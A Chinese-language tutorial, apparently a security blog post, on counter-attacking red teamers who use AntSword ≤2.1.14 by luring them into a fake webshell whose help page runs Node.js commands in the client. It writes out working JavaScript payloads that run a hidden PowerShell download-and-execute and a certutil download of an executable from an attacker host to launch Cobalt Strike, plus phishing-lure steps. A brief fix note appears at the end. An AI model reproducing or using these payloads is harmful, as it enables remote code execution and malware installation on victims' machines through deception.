中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)
关键实现蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!
反制复现环境准备:
红队蓝队IP192.168.108.220192.168.108.150版本蚁剑Cobalt Strike
想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。
影响的版本:AntSword < =v2.1.14
AntSword下载:https://github.com/AntSwordProject/antSword/releases
开源假webshell:https://github.com/MD-SEC/Anti_AntSword
1、蓝队故意在服务器放置假的webshell进行钓鱼
达到真实的效果可以添加一些提示信息,让红队上钩
<body>AntSword password admin</body></html>红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)
在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线
<script type="text/javascript"> require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });</script>或者下载文件方式上线CS
</script><script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>注:payload一定要放开头,放后面可能由于html过大导致命令执行失败
可以自行编写攻击者点击钓鱼链接时的话术
2、红队开始利用蚁剑进行连接
模拟红队的文件浏览页面
模拟红队的命令行操作回显
3、开始钓鱼引诱红队
当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接
红队点击恶意链接,出现正常的帮助文档
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS
修复建议1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开
最后此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。